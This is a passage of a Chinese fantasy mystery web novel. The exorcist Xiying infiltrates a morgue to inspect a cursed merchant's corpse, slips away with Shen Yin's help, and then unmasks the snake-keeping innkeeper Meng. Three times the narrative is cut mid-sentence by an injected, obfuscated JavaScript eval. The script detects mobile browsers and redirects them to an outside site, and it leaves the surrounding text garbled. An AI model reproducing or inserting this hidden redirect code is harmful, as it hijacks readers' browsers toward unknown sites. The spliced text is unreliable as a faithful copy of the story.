二人拐入一条无人小巷,那小巷斜对面便是六扇门,溪影低声交代道:“慕栀姐姐,一会儿你去了六扇门直接报失踪,我先不出面——我怀疑……浮玉京中被邪祟害死的外乡人,就是马掌柜……总之这城中有古怪我先潜入暗查一番。” “好,你千万要小心,记得,每两个时辰与我汇合一次。” “放心,两个时辰后,我回此处找你。” 溪影纵身一跃,翻过坊墙,须臾便不见踪影。 4. 暗访碧泉 驱魔师驻城办事处又称「碧泉门」,取其业务范围“上穷碧落下黄泉”之意。天驱宗驻浮玉京碧泉门位于城西,若不出溪影所料,被邪祟所伤的尸体应当就暂时停放在碧泉门的特殊验尸场中。 若再往西走八十余里,就到了归墟崖一带,天驱宗祖庭就在此地开创。 九州由各州节度使与驱魔师宗门共同治理,节度使治理人,宗门治理妖魔邪祟。然驱魔师立派之初多是山门,为更高效治理城镇中的邪祟,天字号的大宗门都会在所管辖的州治设立一个碧泉门,并派专人长期值守。 只有五大天字号驱魔宗门有资格设立碧泉门,而如九皋宗之流的小门小派则并无此殊荣。 溪影自东往西走,经过城中心的洞天湖,据说这里是捞尸地,溪影目光快速从岸上扫到湖中央,关于尸体的痕迹已经被清理得干干净净,湖岸杨柳疏影横斜,浮玉京还是那个繁华而有序的浮玉京。 洞天湖不大,却是天然湖,外连雾纱江,滋养了整座浮玉京,是真正的洞天福地。距离洞天湖正北一百丈左右,坐落着浮玉京府衙。 若是寻常天气好,定会有许多悠闲女郎或郎君三两成群泛舟湖上,而今惠风和畅,湖面上却空无一人。 人心惶惶,谁也不想去沾那邪祟污秽。 溪影绕过洞天湖,直奔碧泉门,除祟重地,需要持有天驱宗特制的通行令牌方可入内。 溪影退至角落,从随身褡裢中取出一方漆黑光洁的乌木木牌,再捻诀为其注入一道符咒,木牌立即在溪影手中簌簌而动,不消片刻,牌身自行于正中雕刻了一枚精美的金乌纹样——这是天驱宗的宗徽。当然通行令牌仅有宗徽远远不够,木牌外缘还刻有九百九十九串立体的微雕符文。 足够以假乱真的通行令牌制作完毕,溪影另捻一诀,印上自己额头,身形陡然消失。 隐形的溪影绕到碧泉门院外靠近验尸场的偏门,将她的自制令牌覆在门口一尊石柱上,一松手,令牌就严丝合缝地嵌入石柱中。 “嘎吱”一声,门开了。溪影缓步入内,身后之门自行轻而缓地合上。 隐身符咒只够维持一柱香的功夫。溪影必须速去速回。 她轻车路熟地潜入验尸场,果然见正中停有一口半开盖的榉木棺材。然而棺材是空的,尸体摆在了棺材背后一张验尸专用的桌案上。 溪影凑近一瞧,死者褐衣长髯,死不瞑目地圆睁双目,脸上爬满乌青的恶诅,虽乍一看与先前财大气粗将龙吟客栈包场的人大相径庭,但这五官骨相,不是天宝商行的马掌柜又是谁? 从尸身状态来看,他大约死于今早寅卯之间,距离现在过去了两个多时辰。 溪影又翻看了旁边案台上的验尸记录,死亡时间与她推测基本一致。 然而溪影与慕栀先前推断,马掌柜大概在子时前后失踪,如此算来……从他失踪到死亡,间隔了三个时辰。也就是说,凶手从龙吟客栈绑走马掌柜到浮玉京,用时在三个时辰以内? 时间紧迫,此事只得容后再与慕栀细推。 溪影绕圈将马掌柜面上生出的恶诅看了个清楚明了。 得全部仔细记下。 溪影一边看,一只手又从褡裢里抽出一块拳头大小的梧桐木雕刻的头颅,另一只手中攥着一枚蚕豆大的小刻刀在木雕上复刻恶诅纹样。 溪影出手快、准、稳。恶诅纹样很快在溪影手下复刻完成,全程安安静静的没弄出一点声音。 忽然,溪影眼尖地捕捉到什么,马掌柜左手拇指上少了一样东西——是他一直戴着的金镶玉扳指。 许是被江水冲掉了罢。 她捉起死者左手,活动了一下尸体早已僵化的拇指。 然而,死者拇指根部的戒指印记和其他部位死白的皮肤不一样,鲜嫩得像是还活着……古怪得很。 溪影径直走向墙角一面柜子,拉开右数第二列第三层的抽屉,从中抽出一把细而长的银针,又打开旁边的抽屉,取出一个小琉璃瓶。 溪影回到死者左手边,以针刺向拇指根,琥珀色灵力油珠似的冒出,一滴、两滴、三滴……足足冒了十五滴,都被溪影收集在琉璃瓶中。 奇怪,马掌柜生前只是一个从未修行过的普通人,皮肤中为何会有灵力渗出? 难道说,马掌柜的玉扳指竟是一样蕴含灵力的法器……溢出的部分灵力通过皮肤被吸收了? 那是否有可能,整具尸体都有受到灵力滋养而延缓尸变,记录的死亡时间便作不得数。 事情变得复杂起来了…… 已经过去了一柱香的时间,隐身符即将失效。 来不及多想,溪影将银针清理干净准备放回柜中,刚拉开柜子,忽然“嘎吱”一声,门开了。 这扇门就直直对准墙柜,是从验尸场直接连通至碧泉门主厅的暗门。 霎时,溪影顿在原地,只见门后走出一人——正是大宗主亲传弟子颜柳,溪影认得她。 这丫头都长这么大了啊。 颜柳十分敏锐地走向墙柜,溪影小心挪动脚步给她让道。 颜柳走至溪影近旁,瞧见溪影方才拉开的抽屉已然原原本本地合上了。 溪影刚要松掉一口气……下一瞬,颜柳却毫无征兆地拉开了抽屉! 不好!那根针的位置偏了半寸! 果然,颜柳从中抽出方才溪影用过的针定睛一瞧,倏地就变了脸色。 “谁在这里?” 溪影刚要溜走,颜柳便扔出一道符纸,锁上了所有门窗。 溪影只得绕至颜柳身后,亦步亦趋地与她位置周旋。 趁颜柳上前查看尸身的间隙,溪影迅速从半开的棺门缝隙跳进棺中。 转瞬间,符咒失效,棺材里上演大变活人。 “奇怪,”溪影听见颜柳道,“尸身的腐坏程度怎的忽然加剧了?” 颜柳倏地回头看向棺材,溪影听着她渐行渐近的脚步声,已开始在心中盘算如何在露脸前将颜柳一击敲晕。 然而,待颜柳完全掀开棺材盖,却见棺中正侧卧一颀然而长的青衣人。 听见响声,那人鸦羽长睫扇动,轻抬眼皮,似初醒。 颜柳惊道:“大师兄?!怎么是你?” 溪影回忆那日沈氤的模样,照搬出一个春风化雨的笑,泰然自若地爬出棺材。 “唔,我来瞧瞧能否帮得上什么忙?” 颜柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688860|188861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊疑未消:“可师尊一向是不允许师兄今日下山的,你——” “若师妹不说,师尊自然不会知道。”溪影顶着沈氤的脸淡然道。 “……师尊?”颜柳神色陡然一寒。 溪影心中困惑:说错话了? 就见颜柳将她上下一打量,质问道:“你究竟是何人?!” 溪影顺着她的目光低头看了眼——糟糕露馅!衣裳短了一大截! 溪影拔腿就跳上窗棂要逃,奈何窗户却锁得死死的。 “唉……”溪影长叹道,“可惜了。” 颜柳在原地目光紧随,狩猎者般勾起嘴角,一字一顿道:“哪、里、逃?” 说罢,颜柳拔出佩剑,步步逼近走投无路的溪影。 怎料须臾之间,剑刃竟精准劈向两扇窗之间——顿时,符咒灰飞烟灭,窗门洞开。 颜柳满目惊疑,僵硬地看着与她做同样握剑姿势的“大师兄”。 视线隔剑交汇,“大师兄”贼兮兮一挑眉。 “告辞!” 顷刻间便与她擦身而过,翻窗扬长而去。 一切都发生得太快、太突然,颜柳来不及弄清楚,她方才是被怎样一股力量控制住了。 只恍惚察觉,出剑劈窗时,她脚下的影子似乎比寻常更暗…… 溪影逃脱后,控制颜柳的那股力量陡然松懈。 颜柳又怒又恼,提剑便追。 ………… 溪影刚跳出去没几步,转身便钻进了一条仅容一人通过的窄小过道。 若是溪影没记错,从这里穿过去,就能进入碧泉门的档案馆。 溪影熟练开门入内,怎料正堂桌案前坐着一安静翻书的郎君。 开门时透入的光线斜斜洒在书卷上,他疑惑抬头—— 对镜自照般与来者目光相触。 沈氤与身着不合身青衣的“自己”面面相觑,面上难得浮现片刻茫然。 忽然,门外传来一阵急促的脚步声。 “谁在里面?” 颜柳带人追来了! 沈氤眸中雾色褪去,他警惕起身,将溪影拽至身后,侧耳低声道:“变回来罢。” 溪影一僵。 沈氤又道:“无妨,我知道是你。” 门外脚步声愈发近了,溪影当即解开障眼法,身形陡然缩小一圈,恰好全然能够躲进沈氤高大的阴影里。 霎时,一人推门而入,看见沈氤,提起桃木剑便刺向他。 “不管你是什么东西!立马从我大师兄身上下去!” 说时迟那时快,沈氤身子屏风般稳稳挡住溪影,长手一勾,抄起案上砚台,往前一掷,桃木剑铮然断裂,断刃弹飞,倏地钉在木窗上。 沈氤微怒道:“时章!” 时章猛地止步,举着半截剑,惊道:“大师兄?果真是你!颜师姐说方才你衣衫不整地躺在棺材里,像是中邪……” 沈氤淡定而笃定:“是我。” 溪影心下一惊,沈氤都不知道她做了什么…… “时章,让开——”颜柳拨开时章,面沉如水地盯着眼前之人,“大师兄,今日之事,是否应该给我一个交代?” 5. 碧泉兑诺 沈氤温和道:“颜师妹,时师弟,你们可知道大宗主为何一到中元日就禁止我下山?” 时章云里雾里地甩头。 颜柳:“为何?” 沈氤:“诚如师妹方才所见。” 颜柳将信将疑:“难不成……真是会被奇怪的东西上身?” 沈氤不置可否,眼底却溢出一丝有温度的笑意。 颜柳心下一惊:大师兄似乎有点疯。 不等颜柳细究,沈氤便垂眸遮掩下去。 空间有限,溪影几乎贴着沈氤后背,她看不见他的表情,却他嗓音入耳,是与先前不同的低沉与浑厚。沈氤还是穿着昨夜那件宝蓝色长袍,发丝飘来淡极而幽远的莲香,莫名令溪影放松下来。 沈氤就这般轻描淡写地将她做的事认下了? “不论如何解释,”颜柳又道,“大师兄今日都破禁了。” “我知道。”沈氤目光恢复沉静,“我自会向大宗主领罚。” 颜柳面色一沉:“师兄自便。” 沈氤却展颜一笑:“多谢师妹。” 二人一张一弛,时章夹在中间瑟瑟发抖。 “师兄、师姐,你们……”时章左看右看,怎样都觉不妥,最终目光往屋里落脚。 沈氤略一偏头,笑容温和,眼神却是不容置疑的。 “师弟还有事?” “没、没有……”时章悻悻缩回头。 颜柳撤回咄咄逼人的目光:“时章,我们走。” 说罢,转身就走,时章赶忙跟上。 危机远离,溪影立马从沈氤背后跳出。 沈氤投来询问的目光。 溪影竟反问:“沈天师今日不是禁止下山么?” 沈氤:“嗯?” “呃,不是……”溪影讪讪道,“我没令沈天师衣衫不整。” 沈氤一怔:“我、我知道……不碍事,只是衣裳不合身罢了……” “沈天师为何帮我?”溪影赶紧岔开话题。 沈氤微微挑一眉,理所当然道:“上回说过,沈某还欠溪天师一个承诺。” 无缘无故、非亲非故……这样的承诺最为致命。溪影眯起双眼,眼神猝然刀锋似的逼向沈氤:“为什么?” “自然是有事相求。” 溪影似笑非笑:“比如?” “比如我要你……替我保守秘密——昨夜在雾纱江底见过我的秘密……好么?” 也对,天驱宗主不允沈氤今日下山,可他偏生一入夜就破禁,不然溪影怎会在雾纱江底遇见他? 但沈氤去那里究竟为何? 溪影心有百惑,面上却恰到好处地露出恍然大悟的表情:“原来沈天师是怕有把柄落在我手里,放心放心,沈天师这都是第二回帮我了,在下自然是要讲江湖道义的——不请自来多有叨扰,容在下先行告辞!” 溪影朝沈氤一抱拳,转身就想走。 却听沈氤道:“你就这样出去,会撞上颜师妹的。” “我……”溪影一时语塞,她总不能告诉沈氤,自己在碧泉门溜门撬锁如回家一般罢? “况且沈某还有事请教溪天师——”沈氤见她不尴不尬杵在原地,半真半假道,“溪天师潜入碧泉门究竟为何?还请如实相告,沈某也好装得像些,以免之后在颜师妹跟前露馅。” “那个,说出来可能有些荒谬……”溪影张嘴就是一个馊主意,“逝者为大,我特意来帮他试试棺材合不合身……” “替一位素不相识的中年男子试睡棺材?”沈氤无奈摇头,“沈某瞧上去有病么?” 溪影下意识点头——脸色苍白看上去是有点病气,看来他在雾纱江底所受之伤并未完全恢复……不过溪影面对沈氤这张矜贵的脸,实在无法说服自己将他与如此荒唐行径联系起来。 但她脸皮厚度异于常人,仍面不改色道:“对不住!就当……就当是被我传染的罢!” 闻言,沈氤不禁笑出声来。 然而下一瞬,沈氤嘴角还保留着那抹温和笑意,却狐狸般眯起眼:“溪天师是认识死者的罢?” 这很难说不认识,况且以天驱宗的手段迟早会查出来,溪影便道:“实话告诉沈天师,死者是我此行东家主顾——天宝商行的马掌柜。我来找他是因为他还有一半的佣金没有结清,人却失踪了,我与同门入城来报官,听说这浮玉京今早有一外乡人为邪祟所害,我眼皮突突直跳,想先来碧泉门附近打听些消息,却误打误撞进入验尸场,看见了马掌柜的尸体……脸上还有恶诅……我们九皋宗小门小派,哪里担待得起?” “误打误撞?”沈氤饶有兴趣地复述。 碧泉门防范森严,未经允许,谁敢误入?可若不是误入……溪影将如何解释? 溪影任沈氤目光在她脸上逡巡,但笑不语。 谁料,沈氤又轻描淡写地揭过:“谁杀的?溪天师可有头绪?” “我也想问。”溪影看着他,无奈摊手。 “好罢,沈某心中有数了,我去将颜柳师妹引开。”沈氤道,“劳烦溪天师先在此处稍候片刻。” “等等,”溪影叫住沈氤,从兜里掏出一个封口的琉璃瓶给他,“这是从尸身中取出的,或许能帮沈天师应付一二。” 沈氤:“何物?” 溪影以最简略的语言给沈氤讲述了她怀疑马掌柜丢失的玉扳指是法器的事。 “原来如此,”沈氤从她手里接过装有灵力的琉璃瓶,“多谢。” “有劳沈天师,”溪影面上一派情真意切,“请天驱宗一定要替我们做主啊……” 沈氤配合道:“别怕……等我回来。” ………… 验尸场。 “大师兄竟还未离开?” 沈氤将溪影给他的琉璃瓶递到颜柳眼前,面不改色道:“这是我方才从死者左手拇指的皮肤下提取出来的。” “这是……”颜柳接过,定睛一看,惊疑道,“残缺的灵珠?” 沈氤试探道:“看来死者不简单,身份查到了么?” “刚刚六扇门来报,今日有九皋宗的驱魔师前去报失踪案,据报案人描述,死者特征与失踪者天宝商行掌柜马行川高度重合。” 沈氤:“好,安排报案人来辨认尸体罢。” 颜柳却道:“不可,商队之人与死者接触密切嫌疑最大,恶诅事关重大,我已将人暂时收押。” 闻言,沈氤不甚赞同地蹙起眉。 就听颜柳又道:“大师兄,今日之事我可以不告诉师尊,但碧泉门的案子,奉劝师兄还是少插手为妙。” “我若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688861|188861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真要插手……”沈氤神色礼貌而淡然,颜柳却从其中品出一丝居高临下审视意味,整个人下意识绷直了,就听沈氤话锋一转,“不过是予颜司判一些方便罢了,司判若不领情,沈某又何必自讨没趣。” “大师兄……”颜柳似乎还要说什么。 然沈氤已转身走出验尸场。 ………… 沈氤推开档案馆的门,眼神瞬间黯淡下去,他走向深处一面柜子,目光落在第二层书架上新鲜的蹭掉灰尘而落下的纤细指印上,落寞地垂下嘴角,手指无力地向掌心蜷缩。 溪影已经离开了。 而后,沈氤拂袖,面无表情地将溪影留下的指印彻底抹除。 ………… 溪影从档案馆最角落书柜后的暗门闪了,说起来,这道门还是她当年向老宗主提议才开辟的。 暗门之后四通八达,溪影不敢再多逗留,一路东躲西藏,直奔碧泉门后院一出口而去。确认无人后,溪影又拿出她的自制令牌验证离开。 刚走出门,溪影便被墙根一头花白毛驴吸引了目光。 那毛驴无人看守,也无绳拴,却老老实实地顶着晌午最烈的日头立在墙下,眼神还异常清明。 溪影一眼便分辨出,这是开了灵智的。 浮玉京果然是人杰地灵,倔驴来了也能开窍。 溪影撅起嘴,对那毛驴“嘬嘬嘬”道:“小驴,你来——跟你打听个事。” 花毛驴不理她,溪影蹑手蹑脚地走过去,摸出一颗在雾纱江底私藏的灵珠,递到花毛驴鼻子跟前。花毛驴眼前一亮,当即张嘴要吃。 “等一下!”溪影迅速收手,毛驴上牙磕下牙,却什么也没捞着,气得撅起蹄子。 “看在灵珠的面子上——”溪影侧身躲开,笑嘻嘻道,“小驴,你是本地驴罢?能不能告诉我,你可有见过十匹通体雪白的灵驹?” 花毛驴扭过头,怎么招也决计不理溪影了。 溪影笑着上前一弹毛驴脑门:“气性真大。” 花毛驴断不可受此般羞辱,当即调头并起一双后蹄蹬向溪影,溪影立马躲闪,毛驴又扑了个空,气得吱哇乱叫。 “不说就不说,”溪影一梆子敲上它脑袋,“你吼什么吼?” 毛驴被敲懵了,溪影见它那架势,待回神来还要再叫,于是点了穴道令它站着昏睡过去。 花毛驴不动,它脚下阴影却波动异常,驴影连接着树影,层层往碧泉门内延伸。 溪影蹲下身,手掌贴在影子上,阴影里当即浮现出一行小字,顷刻又烟消云散。 溪影心头一跳:不好,慕栀在求救!她被关押进了碧泉门地牢?! 方才不慎被颜柳发现异常,以颜柳的性子,现下碧泉门戒备定当更加森严,再用方才的法子潜入恐怕行不通。 溪影仰头观日,蹙起眉——尚未到可再用化影之术的时辰。 但迟则生变,慕栀恐怕等不了那么久。 溪影从褡裢中掏出一净白瓷瓶,单手握住。 溪影看向手中,心道:“罢了,先解决眼前事,大不了之后连睡个三天三夜。” 而后拇指一撬崩开瓶塞,将一小粒腥红药丸倒入口中。咽下后溪影暗暗运气调息,待长长吐出一口气后,溪影再次捻诀,与地上暗影融为一体…… 6. 龙吟客栈 “宗门?” “九皋宗。” “姓名?” “慕栀。” “因何入浮玉京?” “在下本是去六扇门报失踪案的,颜天师又因何将我抓到这里来?”碧泉门地牢,昏暗的审讯室内,慕栀被锁灵缚绑在一张椅子中,满脸不解。 “抓?”颜柳坐在慕栀对面,不赞许地摇摇头,沏了一杯茶递到慕栀手中,“这个字严重了——只是请慕天师过来喝杯茶。” 慕栀将茶杯捏在手中,不喝。 “碧泉门颜司判亲自奉茶,在下惶恐。” “为何惶恐?”颜柳盯着慕栀,“难道,慕天师做了坏事?” 慕栀差点翻了个白眼,一双明媚杏眼中净是憋屈:“颜司判的意思是,在下做了坏事,上天驱宗的地盘来自投罗网?” “贼喊捉贼,不是没有可能。”颜柳挑眉道,“在请慕天师之前,我已令人先将你同门请来喝完了一盏茶……他可什么都招了。” “鹿南?”慕栀不解,“他招什么了?” “凡者如何能下恶诅?慕天师的同门已经招认,整个龙吟客栈,只有你们九皋宗的三位天师是修行者——”颜柳目光压迫地落在慕栀脸上,“对了,你们当中的第三位天师……如今身在何处?” ………… “按颜柳的意思,马掌柜难道是在龙吟客栈就中了恶诅?”溪影化影后,规避掉碧泉门禁制,直达慕栀身下阴影,通过灵台与慕栀沟通。 慕栀:“可她如何确定,马掌柜所中恶诅是立即生效致死的?” 溪影:“也许,马掌柜早就被种下恶诅,只不过是入住客栈的时间段内发作要了他的命。若是在客栈之前就中了恶诅,也许一天,也许一月,甚至一年或更久之前……那马掌柜接触过的嫌疑人可就多了去了。” 慕栀沉思:“这位颜司判究竟是何意?” “或许,”溪影忽然意识到什么,“那个恶诅有点说法——慕姐姐,恐怕要委屈你在这地牢之中呆上些时日了。” 慕栀立即会意:“好,你去,鹿南也被抓进来了,龙吟客栈现下无人监视,你小心点。” ………… 见慕栀沉默,颜柳没有立即催促,只盯着她,压迫感十足。 “沉默在碧泉门并不管用。”半刻钟后,颜柳重新开口,“别想要包庇谁,你们三位是否有嫌疑,待我一一审讯后便知。” “司判大人,”慕栀看着颜柳身后悄悄贴墙根溜走的暗影,勾了勾嘴角,“审讯还是栽赃,你可要把握好尺度啊。” 颜柳冷哼一声,沉默着招手,便另有两名天驱宗弟子上前,一左一右将慕栀架起,颜柳按动座位扶手右侧按钮,而后,距慕栀一步之遥的地面,一块青石砖缓缓滑动开。 慕栀低头望了眼,淡笑道:“看来今日,颜司判是要教我等三流宗门涨涨见识了。” 颜柳:“带下去。” ………… 暗影潜回验尸场。马掌柜的尸身已不在桌案上,棺材也已合盖。溪影化身的阴影自棺材缝隙进入棺中,闻到一股淡淡的恶臭——她才离开不到一个时辰,马掌柜的尸身已加剧腐坏了,如此看来,马掌柜体内灵力当真有延缓尸变的作用。 溪影第二次将尸身查看了个遍,考虑季节以及漂在水中对尸体腐败的影响,溪影推测马掌柜真正的死亡时间在六个时辰之前,也就是七月十五子时前后。 按理讲,这个时间段,马掌柜确实应该在龙吟客栈中。颜柳怀疑他们九皋宗三人并非毫无道理,只是……溪影知道自己做没做,也了解慕栀,难道……她从前竟不识鹿南真面目? 不过,既然鹿南也被关进了碧泉门地牢,以碧泉门的手段,他若有疑岂会审讯不出?现下,调查鹿南不是溪影最要紧的任务,自有颜柳代劳,现下最要紧的,是应该回到第一现场——龙吟客栈。 溪影迅速遁出碧泉门,因她现下是颜柳的重点搜查对象,溪影暂时不解开化影之术,借一路草木阴影遮蔽溜出了城门。一直到孟姣镇一人迹罕至的树林中,溪影才解开化影术。而后她摇身一变,竟又化作一相貌平平的中年商贾。这回她学周全了,衣裳配饰全是合身且合身份的,只不过比起寻常商贾,周身气场中更添一股匪气。 溪影自称贾老板,去龙吟客栈投宿。 “贾老板”学着马掌柜的动作,转动玉扳指走进客栈,环顾四周,没见着孟掌柜的身影,只有先前给她上过菜的小二匆匆自后厨迎了出来。 “这位老板……” 贾老板操着一口粗粝的嗓音道:“住店,要一间二楼的客房。”马掌柜生前便是住的二楼。 那小二面色一凝,支支吾吾道:“二楼、二楼客满了。” “一楼也行。”贾老板摆摆手,“快,先给爷上些酒菜,再派人去门口将爷的行李搬进房间。” 小二又支吾道:“一楼……也满了……” “满了?”贾老板故意在厅堂转着走了一圈,质问道,“一个人也没有!哪里满了?一个小破客栈拿什么乔!把你们掌柜的叫出来,我倒要问问是不是成心的不接待爷?” 见店小二闭嘴不言,贾老板又喝道:“听不见么?叫你们掌柜的出来!爷就不跟你计较!” 贾老板摸向腰间,撩开衣摆,“不经意”露出一抹漆黑的刀柄,那架势倒像是来寻仇的亡命徒。 小二被她不怀好意的眼神吓到了,稳住声调道:“掌柜的不在店里……” “搪塞我?” “小的不敢骗贾大爷!掌柜真是不在!”小二眼见贾老板腰间的刀出鞘两寸,寒光一闪,差点腿都软了,“我们孟掌柜天还没亮就上山去了!” “忽悠谁呢?”贾老板作势就要拔刀,“她一个客栈掌柜,难不成还得上山挖野菜?” “不是的……”店小二快被这土匪给吓哭了,“孟掌柜是去给她夫君扫墓!孟掌柜自从三年前死了丈夫,每年今日都会去扫墓,很多街坊邻里都知道,大爷尽管去问,就知道小的没有说谎了……” 闻言,溪影略微睁大了眼:孟掌柜竟还有个死鬼丈夫? 昨夜刚接连经历灵驹被盗与客官失踪的大事,整个龙吟客栈全仰仗孟掌柜主持大局,如她这般事业至上的生意人竟还有心情去祭拜亡夫? 不知怎的,溪影心头一惊:不对! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688862|188861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >慕栀一直暗中守在龙吟客栈附近,直到溪影收到她的信号返回客栈,天刚蒙蒙亮……慕栀说过,她蹲守期间,龙吟客栈并无任何人进出! 可店小二却说孟掌柜天不亮上山去扫墓了,慕栀为何没有察觉? 慕栀心细如发,若孟掌柜只是没有修为的普通人,慕栀怎会毫无察觉? 难道…… 溪影转头又问店小二:“今早是不是有大人物来你们龙吟客栈拿人了?” 店小二面色一僵:“大爷……你问这个做什么?” “废什么话?只需回答是或不是。” 店小二一个劲摇头:“孟掌柜不许我乱说话。” 溪影勾唇一笑:“你们掌柜不是‘天不亮’便上山扫墓去了至今未归,那今早天驱宗来拿人的事,她又是何时交代你‘不许乱说’的?” 说话间,溪影抽出佩刀,架在了店小二的脖子上:“说实话不说?” 店小二面色“唰”一下变得惨白,下一瞬,一条鞭子猝然出现在溪影视野,翠绿翠绿的,宛若一条竹叶青,缠上溪影的刀。溪影气定神闲地侧身松开手,那柄黑刀便被鞭子卷走,“簌”的一声抛出钉在墙面上。 店小二劫后余生般跪坐在地上,眼泪不受控制地往下流,溪影垂着手腕拍了拍小二的肩膀,目光却落在了自楼梯间缓缓走下的孟掌柜身上。 “孟掌柜见谅。”溪影无赖似的一摊手,“若非掌柜你躲着不见客,我又何必吓唬这小兄弟玩?” “对了,”溪影又拍了拍店小二的肩膀,“没吓坏罢小兄弟?” 孟掌柜又一鞭甩出,缠上溪影的手腕:“什么人?敢在老娘的地盘上撒野?” “孟掌柜似乎很爱将这句话挂在嘴边——”溪影笑了,一把握住鞭子,手臂发力一扯,猝然拉近了与孟掌柜之间的距离,“倒不如先自我介绍一下,你又是何人?” 孟掌柜惊疑地睁大双眸,想要挣开溪影的钳制,岂料鞭子被溪影单手握住却纹丝不动。 “孟掌柜的鞭子似乎会咬人。” “给老娘放开!”孟掌柜恼怒呵斥,“你个下流的老登徒子!” 溪影轻笑一声,眼神却凉凉的。她另一只手迅速摸向腰间,抽出刀鞘,击向孟掌柜握住鞭子的右手。孟掌柜吃痛,鞭柄当即脱手,整条鞭子都落入溪影手中。 “还给我!”孟掌柜眉宇间紧张不安。 溪影一挑眉,捻诀往鞭身一按——须臾之间,这条翠绿的“鞭子”竟变得一成年男子手臂般粗壮,紧紧盘旋缠绕住溪影的身体,睁开了一双猩红的眼死死盯住溪影,并且朝她吐着信子。 “啊啊啊啊啊有蛇——有蛇妖!”原本跌坐在地上的店小二仓皇起身逃窜,刚跑出去两步,便被孟掌柜一记手刀击晕倒地。 “看来,龙吟客栈的人并不知道,他们的孟掌柜,其实是一位潜藏在此、豢养妖兽作法器的——驱、魔、师。”溪影嗤笑道,“幸会了,孟天师——为何要杀马掌柜?” 孟掌柜盯着溪影,眼神狠戾。 “不管你是谁,既撞破了我的秘密,那便留你不得了——” 话音未落,蛇妖猛地朝溪影咬去…… 7. 水陆双栖 溪影神色淡然,侧身要躲,脑中突然迎来一阵眩晕,浑身脱力往前载去。 遭了!溪影心中警铃大作:强行启用化影之术后开始反噬了! 霎时间,青蛇妖找准时机,一口咬住溪影侧颈,齿间同时喷出毒液。溪影眼前一片漆黑,重重倒地。 孟掌柜冷笑轻蔑道:“就这点本事也敢造次?当真是半罐水响叮当!” 蛇妖缠住溪影,蛇身痉挛着发力,凶恶又得意地朝溪影吐信子。似乎比起毒发身亡,更想要将她勒死,以报溪影教它现原型之仇。 溪影被勒得脸色乌青,一时松神,中年男子的伪装解除,变回本来的模样,身体与蛇身间瞬间多出许多空隙。溪影强定心神,掐住蛇妖七寸,三绕两避,从蛇身缠绕中挣脱而出。 孟掌柜目瞪口呆:“怎么是你!” 溪影冷笑一声,将蛇妖软塌的身子丢出窗外:“这话该由我来问你——马掌柜与你何仇何怨,为何下恶诅杀他?” 孟掌柜不言,转而双手掐诀,口中念着溪影听不懂的密语。 刺痛摧枯拉朽而来,自心口浸透溪影四肢,溪影抬步欲走,双腿却有如不是自己的,僵硬而不受使唤。 “啪嗒。” 冷汗如豆落下。 “奉劝你最好别乱动,”孟掌柜将溪影的异样尽收眼底,“否则蛇毒即刻入心,回天乏术。” 溪影嗤之以鼻:“不乱动便不会回天乏术么?” “当然不会,”孟掌柜鬼魅一笑,“但能给你足够的时间留个遗言。” 下一瞬,孟掌柜猛地撒出一把白药。 “青蛇!走!” 白烟弥漫中,溪影捂住口鼻,听见孟掌柜吹了声口哨,空中传来一声挥鞭般的脆响,青蛇似又回到了孟掌柜手中。 溪影挥散烟雾,孟掌柜与她的蛇妖早没了踪迹。 提步想追,心口却闷闷作痛,溪影迅速在心口膻中穴一点,遏制毒性发作的速度,并吐纳调息片刻,方才能够如常行动。 溪影起身瞧见倒地的店小二,想起他先前所说孟掌柜每年都上山扫墓一事。于是又蹲在身来检查小二鼻息,确认他只是晕倒过去,又点穴将他唤醒。 店小二惊恐醒来:“啊啊啊啊啊!有蛇妖——” “闭嘴!”溪影道,“再吼小心蛇妖回头咬你!” 店小二连忙捂住嘴,茫然地看向溪影:“唔唔,唔唔嗯唔唔唔唔嗯嗯唔嗯唔?唔唔唔嗯唔唔嗯唔唔……” 溪影有点被他整神了:“你说什么?” 小二放下手:“天师,你为什么穿着贾老板的衣服?有人下通缉令要抓你……” “先别管这些——”溪影道,“小二,你们孟掌柜那死鬼……过世的丈夫,埋在什么地方?你知道么?” 小二点头:“知道。” 溪影挑眉:“带个路?” “成!”小二痛快应下,又一脸期待地眨眨眼,看向溪影,“天师,我的名字叫金渔。” 谁问他了? 溪影按下冒头的刻薄,问道:“金渔小兄弟,我都被通辑了,你不怕我?” 金渔略一思索道:“跟天师相比,还是刚才的蛇妖更可怕……不对不对!是养蛇妖的孟掌柜更可怕……孟掌柜潜伏在孟姣镇,偷偷豢养蛇妖,一定有什么不可告人的秘密,说不定在背后密谋什么大坏事……而天师在我的帮助下抓住孟掌柜,我就算是立了大功一件,是不是就有资格拜入天驱宗门下了?” “等等等等!”溪影又被整神了,“为什么你帮我可以获得进入天驱宗的资格?” 